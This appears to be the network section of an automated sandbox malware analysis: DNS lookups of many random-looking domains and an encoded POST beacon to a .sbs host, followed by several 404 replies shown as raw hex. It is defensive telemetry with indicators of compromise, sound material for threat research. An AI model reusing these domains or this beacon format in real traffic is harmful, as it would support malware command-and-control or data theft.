Source: global traffic	DNS traffic detected: DNS query: www.jy58gdwf7t.skin
Source: global traffic	DNS traffic detected: DNS query: www.b-ambu.com
Source: global traffic	DNS traffic detected: DNS query: www.livpure-grab.online
Source: global traffic	DNS traffic detected: DNS query: www.bandukchi.com
Source: global traffic	DNS traffic detected: DNS query: www.mcse.top
Source: global traffic	DNS traffic detected: DNS query: www.voidzero.tech
Source: global traffic	DNS traffic detected: DNS query: www.huwin.club
Source: global traffic	DNS traffic detected: DNS query: www.xueerr.xyz
Source: global traffic	DNS traffic detected: DNS query: www.onlineblikje.online
Source: global traffic	DNS traffic detected: DNS query: www.rtpsilva4d.click

Source: unknown

HTTP traffic detected: POST /4bpc/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Host: www.nieuws-july202491.sbsOrigin: http://www.nieuws-july202491.sbsCache-Control: no-cacheConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 206Referer: http://www.nieuws-july202491.sbs/4bpc/User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4Data Raw: 37 42 6f 68 65 3d 62 34 30 56 31 37 68 34 48 72 58 79 79 39 6d 78 6a 43 53 35 45 34 4f 66 70 47 75 57 68 57 67 48 45 4b 2f 32 4a 6e 43 58 39 39 4f 36 30 4b 2f 57 35 49 43 57 46 4f 6f 4f 44 6a 68 66 62 58 35 59 62 76 4c 4a 4c 4b 44 6e 32 7a 75 4f 46 54 71 5a 69 69 32 51 61 6d 43 65 38 37 79 50 54 68 76 39 4b 79 6b 6a 78 74 45 69 34 2b 78 46 31 66 64 5a 5a 4e 31 68 78 76 55 61 79 46 50 55 70 69 6e 76 44 2f 59 73 74 45 74 4d 4c 77 58 46 75 4b 64 63 4e 54 54 67 4f 71 4e 68 76 47 74 52 6d 6a 62 73 69 62 31 31 73 4e 57 35 58 57 75 5a 77 72 32 49 39 61 61 48 69 66 58 73 30 51 77 55 57 74 36 55 64 39 6a 39 61 4d 63 3d Data Ascii: 7Bohe=b40V17h4HrXyy9mxjCS5E4OfpGuWhWgHEK/2JnCX99O60K/W5ICWFOoODjhfbX5YbvLJLKDn2zuOFTqZii2QamCe87yPThv9KykjxtEi4+xF1fdZZN1hxvUayFPUpinvD/YstEtMLwXFuKdcNTTgOqNhvGtRmjbsib11sNW5XWuZwr2I9aaHifXs0QwUWt6Ud9j9aMc=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Thu, 24 Oct 2024 13:17:34 GMTContent-Type: text/html; charset=utf-8Content-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Thu, 24 Oct 2024 13:17:50 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 52 4d 55 cf 68 03 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f 71 4b 76 6d 28 fc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 9b a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 f0 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d 26 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 5d 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f 18 87 a9 7b 1f b8 a1 1f 54 60 f8 2b 81 91 c3 31 4a 60 d4 fb 59 96 69 47 7e d1 cb 00 4c 14 67 c5 c3 e0 9f bd 4b 7b 3f ed 75 0c 9b e0 18 8e bc 1f cb 4d c7 09 53 ff 61 70 d3 9f 98 85 1f a6 ef ba ff f3 3b fb a5 6b 57 61 96 7e 01 a2 67 95 5b dc e8 c3 09 cb 3c 36 81 2e ac 38 b3 a3 ff 83 ed be f6 f8 33 81 46 6e 77 7a 66 f2 3e 76 3d a0 25 b3 ae b2 f7 9b bd 0c 17 cf 5a fc 71 fc 4d f6 01 8a 5c 5b e0 4d d2 af 00 91 79 96 96 ee 7d 98 7a d9 8d a0 af 7a 65 2f ed 6d ef ab e5 65 65 56 75 09 ac e3 b8 37 8b 2f a8 79 36 ff 10 41 fe e5 8f 56 17 ae 59 66 e9 e7 eb b1 e1 f5 fa 1e 92 9f 99 e0 8a b3 8b 4e ed ea 22 d7 97 ef 96 05 f2 f6 7b dd f7 81 e2 66 c3 57 69 91 4b fb 90 df 1e 4b 3d 30 80 e3 7d a0 ae 2b b4 16 6e ee 9a c0 66 20 8c 3c ff 7c 23 d7 b3 7f 35 f3 75 57 8c c2 69 82 7e 3f ed 75 6c 72 69 6f 63 57 52 de 72 64 7e 22 d4 af 93 b8 0f 2b 37 29 6f c8 7c 47 12 06 70 f4 83 2b 85 e9 9b 2b 53 f8 27 40 bb b6 c7 0d f5 17 1c 5b 59 55 65 c9 c3 a0 df e3 4d d8 5e 5f 57 58 42 47 d7 83 57 9a 78 47 ff 56 0d bd b9 ef 1d d7 ce 0a b3 b7 df c3 00 84 14 b7 e8 83 d0 fb 8d 5e 35 0e e2 11 c3 5e 59 e3 d3 7d 1e 82 ac 71 8b 2b 7c bd 67 e3 c1 cb ec ba fc 7c d8 04 71 a6 b9 f5 9c 57 26 30 7a 44 50 a3 37 06 af 98 f8 1c c5 af 71 ed 23 43 fd 82 1a eb f8 c6 36 df 3d 2d 4c 2f 31 fb 83 98 17 87 65 75 7f 49 2b 3d e0 53 77 90 d5 55 19 82 80 d0 7f bc b1 df 1b f2 95 bb 9b 60 fc 1d 5e 57 fd 6f d2 02 9e e2 f0 86 2d 2f ce 7a ff ea 23 e3 fb 1d 2e 96 36 e3 d0 07 46 b6 c1 09 c1 2d de c6 df 48 7e bd f1 9b 17 d0 7f b4 d3 25 e1 82 1c f5 59 0c eb 03 c1 7d 98 98 fe ad 19 bf 0b f5 69 ec bd 2c ed 4f 39 20 41 dd ca d7 e7 dc f6 25 3f 5a 59 ec bc 49 d1 eb f1 5a ca 1f 75 d0 66 85 73 6f 01 8c 44 20 47 f5 7f ee cd 38 7e 4f e0 97 a4 02 49 1d 80 7b 00 74 05 b2 c4 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Thu, 24 Oct 2024 13:17:53 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 43 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 52 4d 55 cf 68 03 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f 71 4b 76 6d 28 fc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 9b a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 f0 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d 26 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 5d 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f 18 87 a9 7b 1f b8 a1 1f 54 60 f8 2b 81 91 c3 31 4a 60 d4 fb 59 96 69 47 7e d1 cb 00 4c 14 67 c5 c3 e0 9f bd 4b 7b 3f ed 75 0c 9b e0 18 8e bc 1f cb 4d c7 09 53 ff 61 70 d3 9f 98 85 1f a6 ef ba ff f3 3b fb a5 6b 57 61 96 7e 01 a2 67 95 5b dc e8 c3 09 cb 3c 36 81 2e ac 38 b3 a3 ff 83 ed be f6 f8 33 81 46 6e 77 7a 66 f2 3e 76 3d a0 25 b3 ae b2 f7 9b bd 0c 17 cf 5a fc 71 fc 4d f6 01 8a 5c 5b e0 4d d2 af 00 91 79 96 96 ee 7d 98 7a d9 8d a0 af 7a 65 2f ed 6d ef ab e5 65 65 56 75 09 ac e3 b8 37 8b 2f a8 79 36 ff 10 41 fe e5 8f 56 17 ae 59 66 e9 e7 eb b1 e1 f5 fa 1e 92 9f 99 e0 8a b3 8b 4e ed ea 22 d7 97 ef 96 05 f2 f6 7b dd f7 81 e2 66 c3 57 69 91 4b fb 90 df 1e 4b 3d 30 80 e3 7d a0 ae 2b b4 16 6e ee 9a c0 66 20 8c 3c ff 7c 23 d7 b3 7f 35 f3 75 57 8c c2 69 82 7e 3f ed 75 6c 72 69 6f 63 57 52 de 72 64 7e 22 d4 af 93 b8 0f 2b 37 29 6f c8 7c 47 12 06 70 f4 83 2b 85 e9 9b 2b 53 f8 27 40 bb b6 c7 0d f5 17 1c 5b 59 55 65 c9 c3 a0 df e3 4d d8 5e 5f 57 58 42 47 d7 83 57 9a 78 47 ff 56 0d bd b9 ef 1d d7 ce 0a b3 b7 df c3 00 84 14 b7 e8 83 d0 fb 8d 5e 35 0e e2 11 c3 5e 59 e3 d3 7d 1e 82 ac 71 8b 2b 7c bd 67 e3 c1 cb ec ba fc 7c d8 04 71 a6 b9 f5 9c 57 26 30 7a 44 50 a3 37 06 af 98 f8 1c c5 af 71 ed 23 43 fd 82 1a eb f8 c6 36 df 3d 2d 4c 2f 31 fb 83 98 17 87 65 75 7f 49 2b 3d e0 53 77 90 d5 55 19 82 80 d0 7f bc b1 df 1b f2 95 bb 9b 60 fc 1d 5e 57 fd 6f d2 02 9e e2 f0 86 2d 2f ce 7a ff ea 23 e3 fb 1d 2e 96 36 e3 d0 07 46 b6 c1 09 c1 2d de c6 df 48 7e bd f1 9b 17 d0 7f b4 d3 25 e1 82 1c f5 59 0c eb 03 c1 7d 98 98 fe ad 19 bf 0b f5 69 ec bd 2c ed 4f 39 20 41 dd ca d7 e7 dc f6 25 3f 5a 59 ec bc 49 d1 eb f1 5a ca 1f 75 d0 66 85 73 6f 01 8c 44 20 47 f5 7f ee cd 38 7e 4f e0 97 a4 02 49 1d 80 7b 00 74 05 b2 c4 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Thu, 24 Oct 2024 13:17:55 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 52 4d 55 cf 68 03 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f 71 4b 76 6d 28 fc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 9b a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 f0 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d 26 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 5d 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f 18 87 a9 7b 1f b8 a1 1f 54 60 f8 2b 81 91 c3 31 4a 60 d4 fb 59 96 69 47 7e d1 cb 00 4c 14 67 c5 c3 e0 9f bd 4b 7b 3f ed 75 0c 9b e0 18 8e bc 1f cb 4d c7 09 53 ff 61 70 d3 9f 98 85 1f a6 ef ba ff f3 3b fb a5 6b 57 61 96 7e 01 a2 67 95 5b dc e8 c3 09 cb 3c 36 81 2e ac 38 b3 a3 ff 83 ed be f6 f8 33 81 46 6e 77 7a 66 f2 3e 76 3d a0 25 b3 ae b2 f7 9b bd 0c 17 cf 5a fc 71 fc 4d f6 01 8a 5c 5b e0 4d d2 af 00 91 79 96 96 ee 7d 98 7a d9 8d a0 af 7a 65 2f ed 6d ef ab e5 65 65 56 75 09 ac e3 b8 37 8b 2f a8 79 36 ff 10 41 fe e5 8f 56 17 ae 59 66 e9 e7 eb b1 e1 f5 fa 1e 92 9f 99 e0 8a b3 8b 4e ed ea 22 d7 97 ef 96 05 f2 f6 7b dd f7 81 e2 66 c3 57 69 91 4b fb 90 df 1e 4b 3d 30 80 e3 7d a0 ae 2b b4 16 6e ee 9a c0 66 20 8c 3c ff 7c 23 d7 b3 7f 35 f3 75 57 8c c2 69 82 7e 3f ed 75 6c 72 69 6f 63 57 52 de 72 64 7e 22 d4 af 93 b8 0f 2b 37 29 6f c8 7c 47 12 06 70 f4 83 2b 85 e9 9b 2b 53 f8 27 40 bb b6 c7 0d f5 17 1c 5b 59 55 65 c9 c3 a0 df e3 4d d8 5e 5f 57 58 42 47 d7 83 57 9a 78 47 ff 56 0d bd b9 ef 1d d7 ce 0a b3 b7 df c3 00 84 14 b7 e8 83 d0 fb 8d 5e 35 0e e2 11 c3 5e 59 e3 d3 7d 1e 82 ac 71 8b 2b 7c bd 67 e3 c1 cb ec ba fc 7c d8 04 71 a6 b9 f5 9c 57 26 30 7a 44 50 a3 37 06 af 98 f8 1c c5 af 71 ed 23 43 fd 82 1a eb f8 c6 36 df 3d 2d 4c 2f 31 fb 83 98 17 87 65 75 7f 49 2b 3d e0 53 77 90 d5 55 19 82 80 d0 7f bc b1 df 1b f2 95 bb 9b 60 fc 1d 5e 57 fd 6f d2 02 9e e2 f0 86 2d 2f ce 7a ff ea 23 e3 fb 1d 2e 96 36 e3 d0 07 46 b6 c1 09 c1 2d de c6 df 48 7e bd f1 9b 17 d0 7f b4 d3 25 e1 82 1c f5 59 0c eb 03 c1 7d 98 98 fe ad 19 bf 0b f5 69 ec bd 2c ed 4f 39 20 41 dd ca d7 e7 dc f6 25 3f 5a 59 ec bc 49 d1 eb f1 5a ca 1f 75 d0 66 85 73 6f 01 8c 44 20 47 f5 7f ee cd 38 7e 4f e0 97 a4 02 49 1d 80 7b 00 74 05 b2 c4 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkeddate: Thu, 24 Oct 2024 13:17:58 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 32 37 38 46 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 24 Oct 2024 13:18:03 GMTContent-Type: text/htmlContent-Length: 520Connection: closeETag: "6632e438-208"Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 09 62 6f 64 79 7b 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 34 34 3b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0d 0a 09 7d 0d 0a 09 68 33 7b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 36 30 70 78 3b 0d 0a 09 09 63 6f 6c 6f 72 3a 23 65 65 65 3b 0d 0a 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 09 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 33 30 70 78 3b 0d 0a 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0d 0a 09 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 33 3e 34 30 34 e9 94 9b e5 b1 be e5 81 8d e7 92 87 e9 94 8b e7 9c b0 e9 90 a8 e5 8b ac e6 9e 83 e6 b5 a0 e6 9c b5 e7 ac 89 e7 80 9b e6 a8 ba e6 b9 aa 21 3c 2f 68 33 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"><title>404</title><style>body{background-color:#444;font-size:14px;}h3{font-size:60px;color:#eee;text-align:center;padding-top:30px;font-weight:normal;}</style></head><body><h3>404!</h3></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 24 Oct 2024 13:18:06 GMTContent-Type: text/htmlContent-Length: 520Connection: closeETag: "6632e438-208"Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 09 62 6f 64 79 7b 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 34 34 3b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0d 0a 09 7d 0d 0a 09 68 33 7b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 36 30 70 78 3b 0d 0a 09 09 63 6f 6c 6f 72 3a 23 65 65 65 3b 0d 0a 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 09 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 33 30 70 78 3b 0d 0a 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0d 0a 09 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 33 3e 34 30 34 e9 94 9b e5 b1 be e5 81 8d e7 92 87 e9 94 8b e7 9c b0 e9 90 a8 e5 8b ac e6 9e 83 e6 b5 a0 e6 9c b5 e7 ac 89 e7 80 9b e6 a8 ba e6 b9 aa 21 3c 2f 68 33 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"><title>404</title><style>body{background-color:#444;font-size:14px;}h3{font-size:60px;color:#eee;text-align:center;padding-top:30px;font-weight:normal;}</style></head><body><h3>404!</h3></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 24 Oct 2024 13:18:09 GMTContent-Type: text/htmlContent-Length: 520Connection: closeETag: "6632e438-208"Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 